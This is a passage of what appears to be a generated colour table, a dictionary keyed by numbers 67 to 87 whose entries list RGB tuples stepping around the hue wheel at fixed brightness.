204, 102), (101, 204, 111), (101, 204, 120), (101, 204, 129), (101, 204, 139), (101, 204, 148), (101, 204, 157), (101, 204, 166), (101, 204, 176), (101, 204, 185), (101, 204, 194), (101, 204, 204), (101, 194, 204), (101, 185, 204), (101, 176, 204), (101, 166, 204), (101, 157, 204), (101, 148, 204), (101, 139, 204), (101, 129, 204), (101, 120, 204), (101, 111, 204), (101, 101, 204), (111, 101, 204), (120, 101, 204), (129, 101, 204), (139, 101, 204), (148, 101, 204), (157, 101, 204), (166, 101, 204), (176, 101, 204), (185, 101, 204), (194, 101, 204), (204, 101, 203), (204, 101, 194), (204, 101, 185), (204, 101, 176), (204, 101, 166), (204, 101, 157), (204, 101, 148), (204, 101, 139), (204, 101, 129), (204, 101, 120), (204, 101, 111)], 67: [(204, 101, 101), (204, 111, 101), (204, 120, 101), (204, 129, 101), (204, 138, 101), (204, 147, 101), (204, 156, 101), (204, 165, 101), (204, 175, 101), (204, 184, 101), (204, 193, 101), (204, 202, 101), (196, 204, 101), (187, 204, 101), (178, 204, 101), (168, 204, 101), (159, 204, 101), (150, 204, 101), (141, 204, 101), (132, 204, 101), (123, 204, 101), (114, 204, 101), (105, 204, 101), (101, 204, 108), (101, 204, 117), (101, 204, 126), (101, 204, 135), (101, 204, 144), (101, 204, 153), (101, 204, 162), (101, 204, 172), (101, 204, 181), (101, 204, 190), (101, 204, 199), (101, 199, 204), (101, 190, 204), (101, 181, 204), (101, 172, 204), (101, 162, 204), (101, 153, 204), (101, 144, 204), (101, 135, 204), (101, 126, 204), (101, 117, 204), (101, 108, 204), (105, 101, 204), (114, 101, 204), (123, 101, 204), (132, 101, 204), (141, 101, 204), (150, 101, 204), (159, 101, 204), (168, 101, 204), (178, 101, 204), (187, 101, 204), (196, 101, 204), (204, 101, 202), (204, 101, 193), (204, 101, 184), (204, 101, 175), (204, 101, 165), (204, 101, 156), (204, 101, 147), (204, 101, 138), (204, 101, 129), (204, 101, 120), (204, 101, 111)], 68: [(204, 101, 101), (204, 110, 101), (204, 119, 101), (204, 129, 101), (204, 138, 101), (204, 146, 101), (204, 155, 101), (204, 165, 101), (204, 174, 101), (204, 182, 101), (204, 191, 101), (204, 201, 101), (198, 204, 101), (189, 204, 101), (180, 204, 101), (170, 204, 101), (162, 204, 101), (153, 204, 101), (144, 204, 101), (135, 204, 101), (125, 204, 101), (117, 204, 101), (108, 204, 101), (101, 204, 105), (101, 204, 114), (101, 204, 123), (101, 204, 131), (101, 204, 140), (101, 204, 149), (101, 204, 159), (101, 204, 168), (101, 204, 177), (101, 204, 186), (101, 204, 195), (101, 204, 204), (101, 195, 204), (101, 186, 204), (101, 177, 204), (101, 167, 204), (101, 159, 204), (101, 149, 204), (101, 140, 204), (101, 131, 204), (101, 122, 204), (101, 114, 204), (101, 105, 204), (107, 101, 204), (116, 101, 204), (125, 101, 204), (135, 101, 204), (143, 101, 204), (152, 101, 204), (161, 101, 204), (170, 101, 204), (179, 101, 204), (188, 101, 204), (197, 101, 204), (204, 101, 200), (204, 101, 191), (204, 101, 182), (204, 101, 173), (204, 101, 164), (204, 101, 156), (204, 101, 146), (204, 101, 137), (204, 101, 128), (204, 101, 119), (204, 101, 110)], 69: [(204, 101, 101), (204, 110, 101), (204, 119, 101), (204, 128, 101), (204, 137, 101), (204, 146, 101), (204, 155, 101), (204, 164, 101), (204, 172, 101), (204, 181, 101), (204, 190, 101), (204, 199, 101), (199, 204, 101), (190, 204, 101), (181, 204, 101), (172, 204, 101), (164, 204, 101), (155, 204, 101), (146, 204, 101), (137, 204, 101), (128, 204, 101), (119, 204, 101), (110, 204, 101), (102, 204, 101), (101, 204, 110), (101, 204, 119), (101, 204, 128), (101, 204, 137), (101, 204, 146), (101, 204, 155), (101, 204, 164), (101, 204, 172), (101, 204, 181), (101, 204, 190), (101, 204, 199), (101, 199, 204), (101, 190, 204), (101, 181, 204), (101, 172, 204), (101, 164, 204), (101, 155, 204), (101, 146, 204), (101, 137, 204), (101, 128, 204), (101, 119, 204), (101, 110, 204), (101, 102, 204), (110, 101, 204), (119, 101, 204), (128, 101, 204), (137, 101, 204), (146, 101, 204), (155, 101, 204), (164, 101, 204), (172, 101, 204), (181, 101, 204), (190, 101, 204), (199, 101, 204), (204, 101, 199), (204, 101, 190), (204, 101, 181), (204, 101, 172), (204, 101, 164), (204, 101, 155), (204, 101, 146), (204, 101, 137), (204, 101, 128), (204, 101, 119), (204, 101, 110)], 70: [(204, 101, 101), (204, 110, 101), (204, 119, 101), (204, 128, 101), (204, 136, 101), (204, 145, 101), (204, 154, 101), (204, 163, 101), (204, 171, 101), (204, 180, 101), (204, 189, 101), (204, 198, 101), (201, 204, 101), (192, 204, 101), (183, 204, 101), (174, 204, 101), (166, 204, 101), (157, 204, 101), (148, 204, 101), (139, 204, 101), (131, 204, 101), (122, 204, 101), (113, 204, 101), (104, 204, 101), (101, 204, 107), (101, 204, 116), (101, 204, 125), (101, 204, 134), (101, 204, 142), (101, 204, 151), (101, 204, 160), (101, 204, 169), (101, 204, 177), (101, 204, 186), (101, 204, 195), (101, 204, 204), (101, 195, 204), (101, 186, 204), (101, 177, 204), (101, 169, 204), (101, 160, 204), (101, 151, 204), (101, 142, 204), (101, 134, 204), (101, 125, 204), (101, 116, 204), (101, 107, 204), (104, 101, 204), (113, 101, 204), (122, 101, 204), (131, 101, 204), (139, 101, 204), (148, 101, 204), (157, 101, 204), (166, 101, 204), (174, 101, 204), (183, 101, 204), (192, 101, 204), (201, 101, 204), (204, 101, 198), (204, 101, 189), (204, 101, 180), (204, 101, 171), (204, 101, 163), (204, 101, 154), (204, 101, 145), (204, 101, 136), (204, 101, 128), (204, 101, 119), (204, 101, 110)], 71: [(204, 101, 101), (204, 110, 101), (204, 119, 101), (204, 127, 101), (204, 136, 101), (204, 145, 101), (204, 153, 101), (204, 162, 101), (204, 170, 101), (204, 179, 101), (204, 188, 101), (204, 196, 101), (202, 204, 101), (193, 204, 101), (185, 204, 101), (176, 204, 101), (168, 204, 101), (159, 204, 101), (150, 204, 101), (142, 204, 101), (133, 204, 101), (124, 204, 101), (116, 204, 101), (107, 204, 101), (101, 204, 104), (101, 204, 113), (101, 204, 122), (101, 204, 130), (101, 204, 139), (101, 204, 147), (101, 204, 156), (101, 204, 165), (101, 204, 173), (101, 204, 182), (101, 204, 191), (101, 204, 199), (101, 199, 204), (101, 191, 204), (101, 182, 204), (101, 173, 204), (101, 165, 204), (101, 156, 204), (101, 147, 204), (101, 139, 204), (101, 130, 204), (101, 122, 204), (101, 113, 204), (101, 104, 204), (107, 101, 204), (116, 101, 204), (124, 101, 204), (133, 101, 204), (142, 101, 204), (150, 101, 204), (159, 101, 204), (168, 101, 204), (176, 101, 204), (185, 101, 204), (193, 101, 204), (202, 101, 204), (204, 101, 196), (204, 101, 188), (204, 101, 179), (204, 101, 170), (204, 101, 162), (204, 101, 153), (204, 101, 145), (204, 101, 136), (204, 101, 127), (204, 101, 119), (204, 101, 110)], 72: [(204, 101, 101), (204, 110, 101), (204, 118, 101), (204, 127, 101), (204, 136, 101), (204, 144, 101), (204, 152, 101), (204, 161, 101), (204, 170, 101), (204, 178, 101), (204, 186, 101), (204, 195, 101), (204, 204, 101), (195, 204, 101), (187, 204, 101), (178, 204, 101), (169, 204, 101), (161, 204, 101), (153, 204, 101), (144, 204, 101), (136, 204, 101), (127, 204, 101), (118, 204, 101), (110, 204, 101), (102, 204, 101), (101, 204, 110), (101, 204, 119), (101, 204, 127), (101, 204, 135), (101, 204, 144), (101, 204, 152), (101, 204, 161), (101, 204, 170), (101, 204, 178), (101, 204, 187), (101, 204, 195), (101, 204, 204), (101, 195, 204), (101, 187, 204), (101, 178, 204), (101, 169, 204), (101, 161, 204), (101, 153, 204), (101, 144, 204), (101, 135, 204), (101, 127, 204), (101, 118, 204), (101, 110, 204), (101, 102, 204), (110, 101, 204), (118, 101, 204), (127, 101, 204), (136, 101, 204), (144, 101, 204), (152, 101, 204), (161, 101, 204), (169, 101, 204), (178, 101, 204), (186, 101, 204), (195, 101, 204), (203, 101, 204), (204, 101, 195), (204, 101, 186), (204, 101, 178), (204, 101, 169), (204, 101, 161), (204, 101, 153), (204, 101, 144), (204, 101, 135), (204, 101, 127), (204, 101, 118), (204, 101, 110)], 73: [(204, 101, 101), (204, 110, 101), (204, 118, 101), (204, 127, 101), (204, 135, 101), (204, 143, 101), (204, 152, 101), (204, 160, 101), (204, 169, 101), (204, 177, 101), (204, 185, 101), (204, 194, 101), (204, 202, 101), (197, 204, 101), (188, 204, 101), (180, 204, 101), (171, 204, 101), (163, 204, 101), (155, 204, 101), (146, 204, 101), (138, 204, 101), (129, 204, 101), (121, 204, 101), (113, 204, 101), (104, 204, 101), (101, 204, 107), (101, 204, 115), (101, 204, 124), (101, 204, 132), (101, 204, 141), (101, 204, 149), (101, 204, 157), (101, 204, 166), (101, 204, 174), (101, 204, 183), (101, 204, 191), (101, 204, 199), (101, 199, 204), (101, 191, 204), (101, 183, 204), (101, 174, 204), (101, 166, 204), (101, 157, 204), (101, 149, 204), (101, 141, 204), (101, 132, 204), (101, 124, 204), (101, 115, 204), (101, 107, 204), (104, 101, 204), (113, 101, 204), (121, 101, 204), (129, 101, 204), (138, 101, 204), (146, 101, 204), (155, 101, 204), (163, 101, 204), (171, 101, 204), (180, 101, 204), (188, 101, 204), (197, 101, 204), (204, 101, 202), (204, 101, 194), (204, 101, 185), (204, 101, 177), (204, 101, 169), (204, 101, 160), (204, 101, 152), (204, 101, 143), (204, 101, 135), (204, 101, 127), (204, 101, 118), (204, 101, 110)], 74: [(204, 101, 101), (204, 110, 101), (204, 118, 101), (204, 126, 101), (204, 135, 101), (204, 143, 101), (204, 151, 101), (204, 159, 101), (204, 168, 101), (204, 176, 101), (204, 184, 101), (204, 192, 101), (204, 201, 101), (198, 204, 101), (190, 204, 101), (181, 204, 101), (173, 204, 101), (165, 204, 101), (157, 204, 101), (148, 204, 101), (140, 204, 101), (132, 204, 101), (124, 204, 101), (115, 204, 101), (107, 204, 101), (101, 204, 104), (101, 204, 113), (101, 204, 121), (101, 204, 129), (101, 204, 137), (101, 204, 146), (101, 204, 154), (101, 204, 162), (101, 204, 170), (101, 204, 179), (101, 204, 187), (101, 204, 195), (101, 204, 204), (101, 195, 204), (101, 187, 204), (101, 179, 204), (101, 170, 204), (101, 162, 204), (101, 154, 204), (101, 146, 204), (101, 137, 204), (101, 129, 204), (101, 121, 204), (101, 113, 204), (101, 104, 204), (107, 101, 204), (115, 101, 204), (124, 101, 204), (132, 101, 204), (140, 101, 204), (148, 101, 204), (157, 101, 204), (165, 101, 204), (173, 101, 204), (181, 101, 204), (190, 101, 204), (198, 101, 204), (204, 101, 201), (204, 101, 192), (204, 101, 184), (204, 101, 176), (204, 101, 168), (204, 101, 159), (204, 101, 151), (204, 101, 143), (204, 101, 135), (204, 101, 126), (204, 101, 118), (204, 101, 110)], 75: [(204, 101, 101), (204, 110, 101), (204, 118, 101), (204, 126, 101), (204, 134, 101), (204, 142, 101), (204, 150, 101), (204, 159, 101), (204, 167, 101), (204, 175, 101), (204, 183, 101), (204, 191, 101), (204, 199, 101), (199, 204, 101), (191, 204, 101), (183, 204, 101), (175, 204, 101), (167, 204, 101), (159, 204, 101), (150, 204, 101), (142, 204, 101), (134, 204, 101), (126, 204, 101), (118, 204, 101), (110, 204, 101), (101, 204, 102), (101, 204, 110), (101, 204, 118), (101, 204, 126), (101, 204, 134), (101, 204, 142), (101, 204, 150), (101, 204, 159), (101, 204, 167), (101, 204, 175), (101, 204, 183), (101, 204, 191), (101, 204, 199), (101, 199, 204), (101, 191, 204), (101, 183, 204), (101, 175, 204), (101, 167, 204), (101, 159, 204), (101, 150, 204), (101, 142, 204), (101, 134, 204), (101, 126, 204), (101, 118, 204), (101, 110, 204), (101, 101, 204), (110, 101, 204), (118, 101, 204), (126, 101, 204), (134, 101, 204), (142, 101, 204), (150, 101, 204), (159, 101, 204), (167, 101, 204), (175, 101, 204), (183, 101, 204), (191, 101, 204), (199, 101, 204), (204, 101, 199), (204, 101, 191), (204, 101, 183), (204, 101, 175), (204, 101, 167), (204, 101, 159), (204, 101, 150), (204, 101, 142), (204, 101, 134), (204, 101, 126), (204, 101, 118), (204, 101, 110)], 76: [(204, 101, 101), (204, 110, 101), (204, 118, 101), (204, 126, 101), (204, 134, 101), (204, 142, 101), (204, 150, 101), (204, 158, 101), (204, 166, 101), (204, 174, 101), (204, 182, 101), (204, 190, 101), (204, 198, 101), (201, 204, 101), (193, 204, 101), (185, 204, 101), (177, 204, 101), (169, 204, 101), (161, 204, 101), (153, 204, 101), (144, 204, 101), (136, 204, 101), (128, 204, 101), (120, 204, 101), (112, 204, 101), (104, 204, 101), (101, 204, 107), (101, 204, 115), (101, 204, 123), (101, 204, 131), (101, 204, 139), (101, 204, 147), (101, 204, 155), (101, 204, 163), (101, 204, 171), (101, 204, 179), (101, 204, 187), (101, 204, 195), (101, 204, 204), (101, 195, 204), (101, 187, 204), (101, 179, 204), (101, 171, 204), (101, 163, 204), (101, 155, 204), (101, 147, 204), (101, 139, 204), (101, 131, 204), (101, 123, 204), (101, 115, 204), (101, 107, 204), (104, 101, 204), (112, 101, 204), (120, 101, 204), (128, 101, 204), (136, 101, 204), (144, 101, 204), (152, 101, 204), (161, 101, 204), (169, 101, 204), (177, 101, 204), (185, 101, 204), (193, 101, 204), (201, 101, 204), (204, 101, 198), (204, 101, 190), (204, 101, 182), (204, 101, 174), (204, 101, 166), (204, 101, 158), (204, 101, 150), (204, 101, 142), (204, 101, 134), (204, 101, 126), (204, 101, 118), (204, 101, 110)], 77: [(204, 101, 101), (204, 109, 101), (204, 117, 101), (204, 125, 101), (204, 133, 101), (204, 141, 101), (204, 149, 101), (204, 157, 101), (204, 165, 101), (204, 173, 101), (204, 181, 101), (204, 189, 101), (204, 197, 101), (202, 204, 101), (194, 204, 101), (186, 204, 101), (178, 204, 101), (170, 204, 101), (162, 204, 101), (154, 204, 101), (147, 204, 101), (139, 204, 101), (131, 204, 101), (123, 204, 101), (115, 204, 101), (107, 204, 101), (101, 204, 104), (101, 204, 112), (101, 204, 120), (101, 204, 128), (101, 204, 136), (101, 204, 144), (101, 204, 152), (101, 204, 160), (101, 204, 168), (101, 204, 176), (101, 204, 184), (101, 204, 192), (101, 204, 200), (101, 200, 204), (101, 192, 204), (101, 184, 204), (101, 176, 204), (101, 168, 204), (101, 160, 204), (101, 152, 204), (101, 144, 204), (101, 136, 204), (101, 128, 204), (101, 120, 204), (101, 112, 204), (101, 104, 204), (107, 101, 204), (115, 101, 204), (123, 101, 204), (131, 101, 204), (139, 101, 204), (147, 101, 204), (154, 101, 204), (162, 101, 204), (170, 101, 204), (178, 101, 204), (186, 101, 204), (194, 101, 204), (202, 101, 204), (204, 101, 197), (204, 101, 189), (204, 101, 181), (204, 101, 173), (204, 101, 165), (204, 101, 157), (204, 101, 149), (204, 101, 141), (204, 101, 133), (204, 101, 125), (204, 101, 117), (204, 101, 109)], 78: [(204, 101, 101), (204, 109, 101), (204, 117, 101), (204, 125, 101), (204, 133, 101), (204, 141, 101), (204, 149, 101), (204, 156, 101), (204, 164, 101), (204, 172, 101), (204, 180, 101), (204, 188, 101), (204, 196, 101), (204, 204, 101), (196, 204, 101), (188, 204, 101), (180, 204, 101), (172, 204, 101), (164, 204, 101), (156, 204, 101), (149, 204, 101), (141, 204, 101), (133, 204, 101), (125, 204, 101), (117, 204, 101), (109, 204, 101), (102, 204, 101), (101, 204, 109), (101, 204, 117), (101, 204, 125), (101, 204, 133), (101, 204, 141), (101, 204, 149), (101, 204, 156), (101, 204, 164), (101, 204, 172), (101, 204, 180), (101, 204, 188), (101, 204, 196), (101, 204, 204), (101, 196, 204), (101, 188, 204), (101, 180, 204), (101, 172, 204), (101, 164, 204), (101, 156, 204), (101, 149, 204), (101, 141, 204), (101, 133, 204), (101, 125, 204), (101, 117, 204), (101, 109, 204), (101, 102, 204), (109, 101, 204), (117, 101, 204), (125, 101, 204), (133, 101, 204), (141, 101, 204), (149, 101, 204), (156, 101, 204), (164, 101, 204), (172, 101, 204), (180, 101, 204), (188, 101, 204), (196, 101, 204), (203, 101, 204), (204, 101, 196), (204, 101, 188), (204, 101, 180), (204, 101, 172), (204, 101, 164), (204, 101, 156), (204, 101, 149), (204, 101, 141), (204, 101, 133), (204, 101, 125), (204, 101, 117), (204, 101, 109)], 79: [(204, 101, 101), (204, 109, 101), (204, 117, 101), (204, 125, 101), (204, 132, 101), (204, 140, 101), (204, 148, 101), (204, 156, 101), (204, 163, 101), (204, 171, 101), (204, 179, 101), (204, 187, 101), (204, 194, 101), (204, 202, 101), (197, 204, 101), (189, 204, 101), (182, 204, 101), (174, 204, 101), (166, 204, 101), (158, 204, 101), (151, 204, 101), (143, 204, 101), (135, 204, 101), (127, 204, 101), (120, 204, 101), (112, 204, 101), (104, 204, 101), (101, 204, 107), (101, 204, 114), (101, 204, 122), (101, 204, 130), (101, 204, 138), (101, 204, 145), (101, 204, 153), (101, 204, 161), (101, 204, 169), (101, 204, 176), (101, 204, 184), (101, 204, 192), (101, 204, 200), (101, 200, 204), (101, 192, 204), (101, 184, 204), (101, 176, 204), (101, 169, 204), (101, 161, 204), (101, 153, 204), (101, 145, 204), (101, 138, 204), (101, 130, 204), (101, 122, 204), (101, 114, 204), (101, 107, 204), (104, 101, 204), (112, 101, 204), (120, 101, 204), (127, 101, 204), (135, 101, 204), (143, 101, 204), (151, 101, 204), (158, 101, 204), (166, 101, 204), (174, 101, 204), (182, 101, 204), (189, 101, 204), (197, 101, 204), (204, 101, 202), (204, 101, 194), (204, 101, 187), (204, 101, 179), (204, 101, 171), (204, 101, 163), (204, 101, 156), (204, 101, 148), (204, 101, 140), (204, 101, 132), (204, 101, 125), (204, 101, 117), (204, 101, 109)], 80: [(204, 101, 101), (204, 109, 101), (204, 117, 101), (204, 124, 101), (204, 132, 101), (204, 140, 101), (204, 147, 101), (204, 155, 101), (204, 163, 101), (204, 170, 101), (204, 178, 101), (204, 186, 101), (204, 193, 101), (204, 201, 101), (198, 204, 101), (191, 204, 101), (183, 204, 101), (175, 204, 101), (168, 204, 101), (160, 204, 101), (153, 204, 101), (145, 204, 101), (137, 204, 101), (130, 204, 101), (122, 204, 101), (114, 204, 101), (107, 204, 101), (101, 204, 104), (101, 204, 112), (101, 204, 119), (101, 204, 127), (101, 204, 135), (101, 204, 142), (101, 204, 150), (101, 204, 158), (101, 204, 165), (101, 204, 173), (101, 204, 181), (101, 204, 188), (101, 204, 196), (101, 204, 204), (101, 196, 204), (101, 188, 204), (101, 181, 204), (101, 173, 204), (101, 165, 204), (101, 158, 204), (101, 150, 204), (101, 142, 204), (101, 135, 204), (101, 127, 204), (101, 119, 204), (101, 112, 204), (101, 104, 204), (107, 101, 204), (114, 101, 204), (122, 101, 204), (130, 101, 204), (137, 101, 204), (145, 101, 204), (152, 101, 204), (160, 101, 204), (168, 101, 204), (175, 101, 204), (183, 101, 204), (191, 101, 204), (198, 101, 204), (204, 101, 201), (204, 101, 193), (204, 101, 186), (204, 101, 178), (204, 101, 170), (204, 101, 163), (204, 101, 155), (204, 101, 147), (204, 101, 140), (204, 101, 132), (204, 101, 124), (204, 101, 117), (204, 101, 109)], 81: [(204, 101, 101), (204, 109, 101), (204, 117, 101), (204, 124, 101), (204, 132, 101), (204, 139, 101), (204, 147, 101), (204, 154, 101), (204, 162, 101), (204, 170, 101), (204, 177, 101), (204, 185, 101), (204, 192, 101), (204, 200, 101), (200, 204, 101), (192, 204, 101), (185, 204, 101), (177, 204, 101), (169, 204, 101), (162, 204, 101), (154, 204, 101), (147, 204, 101), (139, 204, 101), (132, 204, 101), (124, 204, 101), (117, 204, 101), (109, 204, 101), (102, 204, 101), (101, 204, 109), (101, 204, 117), (101, 204, 124), (101, 204, 132), (101, 204, 139), (101, 204, 147), (101, 204, 154), (101, 204, 162), (101, 204, 170), (101, 204, 177), (101, 204, 185), (101, 204, 192), (101, 204, 200), (101, 200, 204), (101, 192, 204), (101, 185, 204), (101, 177, 204), (101, 169, 204), (101, 162, 204), (101, 154, 204), (101, 147, 204), (101, 139, 204), (101, 132, 204), (101, 124, 204), (101, 117, 204), (101, 109, 204), (101, 102, 204), (109, 101, 204), (117, 101, 204), (124, 101, 204), (132, 101, 204), (139, 101, 204), (147, 101, 204), (154, 101, 204), (162, 101, 204), (169, 101, 204), (177, 101, 204), (185, 101, 204), (192, 101, 204), (200, 101, 204), (204, 101, 200), (204, 101, 192), (204, 101, 185), (204, 101, 177), (204, 101, 169), (204, 101, 162), (204, 101, 154), (204, 101, 147), (204, 101, 139), (204, 101, 132), (204, 101, 124), (204, 101, 117), (204, 101, 109)], 82: [(204, 101, 101), (204, 109, 101), (204, 116, 101), (204, 124, 101), (204, 131, 101), (204, 139, 101), (204, 146, 101), (204, 154, 101), (204, 161, 101), (204, 169, 101), (204, 176, 101), (204, 184, 101), (204, 191, 101), (204, 199, 101), (201, 204, 101), (194, 204, 101), (186, 204, 101), (179, 204, 101), (171, 204, 101), (164, 204, 101), (156, 204, 101), (149, 204, 101), (141, 204, 101), (134, 204, 101), (126, 204, 101), (119, 204, 101), (111, 204, 101), (104, 204, 101), (101, 204, 106), (101, 204, 114), (101, 204, 121), (101, 204, 129), (101, 204, 136), (101, 204, 144), (101, 204, 151), (101, 204, 159), (101, 204, 166), (101, 204, 174), (101, 204, 181), (101, 204, 189), (101, 204, 196), (101, 204, 204), (101, 196, 204), (101, 189, 204), (101, 181, 204), (101, 174, 204), (101, 166, 204), (101, 159, 204), (101, 151, 204), (101, 144, 204), (101, 136, 204), (101, 129, 204), (101, 121, 204), (101, 114, 204), (101, 106, 204), (104, 101, 204), (111, 101, 204), (119, 101, 204), (126, 101, 204), (134, 101, 204), (141, 101, 204), (149, 101, 204), (156, 101, 204), (164, 101, 204), (171, 101, 204), (179, 101, 204), (186, 101, 204), (194, 101, 204), (201, 101, 204), (204, 101, 199), (204, 101, 191), (204, 101, 184), (204, 101, 176), (204, 101, 169), (204, 101, 161), (204, 101, 154), (204, 101, 146), (204, 101, 139), (204, 101, 131), (204, 101, 124), (204, 101, 116), (204, 101, 109)], 83: [(204, 101, 101), (204, 109, 101), (204, 116, 101), (204, 124, 101), (204, 131, 101), (204, 138, 101), (204, 146, 101), (204, 153, 101), (204, 160, 101), (204, 168, 101), (204, 175, 101), (204, 183, 101), (204, 190, 101), (204, 197, 101), (202, 204, 101), (195, 204, 101), (188, 204, 101), (180, 204, 101), (173, 204, 101), (165, 204, 101), (158, 204, 101), (151, 204, 101), (143, 204, 101), (136, 204, 101), (129, 204, 101), (121, 204, 101), (114, 204, 101), (106, 204, 101), (101, 204, 104), (101, 204, 111), (101, 204, 119), (101, 204, 126), (101, 204, 133), (101, 204, 141), (101, 204, 148), (101, 204, 156), (101, 204, 163), (101, 204, 170), (101, 204, 178), (101, 204, 185), (101, 204, 192), (101, 204, 200), (101, 200, 204), (101, 192, 204), (101, 185, 204), (101, 178, 204), (101, 170, 204), (101, 163, 204), (101, 156, 204), (101, 148, 204), (101, 141, 204), (101, 133, 204), (101, 126, 204), (101, 119, 204), (101, 111, 204), (101, 104, 204), (106, 101, 204), (114, 101, 204), (121, 101, 204), (129, 101, 204), (136, 101, 204), (143, 101, 204), (151, 101, 204), (158, 101, 204), (165, 101, 204), (173, 101, 204), (180, 101, 204), (188, 101, 204), (195, 101, 204), (202, 101, 204), (204, 101, 197), (204, 101, 190), (204, 101, 183), (204, 101, 175), (204, 101, 168), (204, 101, 160), (204, 101, 153), (204, 101, 146), (204, 101, 138), (204, 101, 131), (204, 101, 124), (204, 101, 116), (204, 101, 109)], 84: [(204, 101, 101), (204, 109, 101), (204, 116, 101), (204, 123, 101), (204, 131, 101), (204, 138, 101), (204, 145, 101), (204, 152, 101), (204, 160, 101), (204, 167, 101), (204, 174, 101), (204, 182, 101), (204, 189, 101), (204, 196, 101), (204, 204, 101), (196, 204, 101), (189, 204, 101), (182, 204, 101), (174, 204, 101), (167, 204, 101), (160, 204, 101), (153, 204, 101), (145, 204, 101), (138, 204, 101), (131, 204, 101), (123, 204, 101), (116, 204, 101), (109, 204, 101), (102, 204, 101), (101, 204, 109), (101, 204, 116), (101, 204, 123), (101, 204, 131), (101, 204, 138), (101, 204, 145), (101, 204, 152), (101, 204, 160), (101, 204, 167), (101, 204, 174), (101, 204, 182), (101, 204, 189), (101, 204, 196), (101, 204, 204), (101, 196, 204), (101, 189, 204), (101, 182, 204), (101, 174, 204), (101, 167, 204), (101, 160, 204), (101, 153, 204), (101, 145, 204), (101, 138, 204), (101, 131, 204), (101, 123, 204), (101, 116, 204), (101, 109, 204), (101, 102, 204), (109, 101, 204), (116, 101, 204), (123, 101, 204), (131, 101, 204), (138, 101, 204), (145, 101, 204), (152, 101, 204), (160, 101, 204), (167, 101, 204), (174, 101, 204), (182, 101, 204), (189, 101, 204), (196, 101, 204), (203, 101, 204), (204, 101, 196), (204, 101, 189), (204, 101, 182), (204, 101, 174), (204, 101, 167), (204, 101, 160), (204, 101, 153), (204, 101, 145), (204, 101, 138), (204, 101, 131), (204, 101, 123), (204, 101, 116), (204, 101, 109)], 85: [(204, 101, 101), (204, 109, 101), (204, 116, 101), (204, 123, 101), (204, 130, 101), (204, 138, 101), (204, 145, 101), (204, 152, 101), (204, 159, 101), (204, 166, 101), (204, 174, 101), (204, 181, 101), (204, 188, 101), (204, 195, 101), (204, 202, 101), (198, 204, 101), (190, 204, 101), (183, 204, 101), (176, 204, 101), (169, 204, 101), (162, 204, 101), (154, 204, 101), (147, 204, 101), (140, 204, 101), (133, 204, 101), (125, 204, 101), (118, 204, 101), (111, 204, 101), (104, 204, 101), (101, 204, 106), (101, 204, 114), (101, 204, 121), (101, 204, 128), (101, 204, 135), (101, 204, 142), (101, 204, 149), (101, 204, 157), (101, 204, 164), (101, 204, 171), (101, 204, 178), (101, 204, 186), (101, 204, 193), (101, 204, 200), (101, 200, 204), (101, 193, 204), (101, 186, 204), (101, 178, 204), (101, 171, 204), (101, 164, 204), (101, 157, 204), (101, 149, 204), (101, 142, 204), (101, 135, 204), (101, 128, 204), (101, 121, 204), (101, 114, 204), (101, 106, 204), (104, 101, 204), (111, 101, 204), (118, 101, 204), (125, 101, 204), (133, 101, 204), (140, 101, 204), (147, 101, 204), (154, 101, 204), (161, 101, 204), (169, 101, 204), (176, 101, 204), (183, 101, 204), (190, 101, 204), (197, 101, 204), (204, 101, 202), (204, 101, 195), (204, 101, 188), (204, 101, 181), (204, 101, 173), (204, 101, 166), (204, 101, 159), (204, 101, 152), (204, 101, 145), (204, 101, 137), (204, 101, 130), (204, 101, 123), (204, 101, 116), (204, 101, 109)], 86: [(204, 101, 101), (204, 109, 101), (204, 116, 101), (204, 123, 101), (204, 130, 101), (204, 137, 101), (204, 144, 101), (204, 151, 101), (204, 158, 101), (204, 166, 101), (204, 173, 101), (204, 180, 101), (204, 187, 101), (204, 194, 101), (204, 201, 101), (199, 204, 101), (192, 204, 101), (185, 204, 101), (177, 204, 101), (170, 204, 101), (163, 204, 101), (156, 204, 101), (149, 204, 101), (142, 204, 101), (135, 204, 101), (128, 204, 101), (120, 204, 101), (113, 204, 101), (106, 204, 101), (101, 204, 104), (101, 204, 111), (101, 204, 118), (101, 204, 125), (101, 204, 132), (101, 204, 139), (101, 204, 147), (101, 204, 154), (101, 204, 161), (101, 204, 168), (101, 204, 175), (101, 204, 182), (101, 204, 189), (101, 204, 196), (101, 204, 204), (101, 196, 204), (101, 189, 204), (101, 182, 204), (101, 175, 204), (101, 168, 204), (101, 161, 204), (101, 154, 204), (101, 147, 204), (101, 139, 204), (101, 132, 204), (101, 125, 204), (101, 118, 204), (101, 111, 204), (101, 104, 204), (106, 101, 204), (113, 101, 204), (120, 101, 204), (128, 101, 204), (135, 101, 204), (142, 101, 204), (149, 101, 204), (156, 101, 204), (163, 101, 204), (170, 101, 204), (177, 101, 204), (185, 101, 204), (192, 101, 204), (199, 101, 204), (204, 101, 201), (204, 101, 194), (204, 101, 187), (204, 101, 180), (204, 101, 173), (204, 101, 166), (204, 101, 158), (204, 101, 151), (204, 101, 144), (204, 101, 137), (204, 101, 130), (204, 101, 123), (204, 101, 116), (204, 101, 109)], 87: [(204, 101, 101), (204, 109, 101), (204, 116, 101), (204, 123, 101), (204, 130, 101), (204, 137, 101), (204, 144, 101), (204, 151, 101), (204, 158, 101), (204, 165, 101), (204, 172, 101), (204, 179, 101), (204, 186, 101), (204, 193, 101), (204, 200, 101), (200, 204, 101), (193, 204, 101), (186, 204, 101), (179, 204, 101), (172, 204, 101), (165, 204, 101), (158, 204, 101), (151, 204, 101), (144, 204, 101), (137, 204, 101), (130, 204, 101), (123, 204, 101), (116, 204, 101), (109, 204, 101), (102, 204, 101), (101, 204, 109), (101, 204, 116), (101, 204, 123), (101, 204, 130), (101, 204, 137), (101, 204, 144), (101, 204, 151), (101, 204, 158), (101, 204, 165), (101, 204, 172), (101, 204, 179), (101, 204, 186), (101, 204, 193), (101, 204, 200), (101, 200, 204), (101, 193, 204), (101, 186, 204), (101, 179, 204), (101, 172, 204), (101, 165, 204), (101, 158, 204), (101, 151, 204), (101, 144, 204), (101, 137, 204), (101, 130, 204), (101, 123, 204), (101, 116, 204), (101, 109, 204), (101, 102, 204), (109, 101, 204), (116, 101, 204), (123, 101, 204), (130, 101, 204), (137, 101, 204), (144, 101, 204), (151, 101, 204), (158, 101, 204), (165, 101, 204), (172, 101, 204), (179, 101, 204), (186, 101, 204), (193, 101, 204), (200, 101, 204), (204, 101, 200), (204, 101, 193), (204, 101, 186), (204, 101, 179), (204, 101, 172), (204, 101, 165), (204, 101, 158), (204, 101, 151), (204, 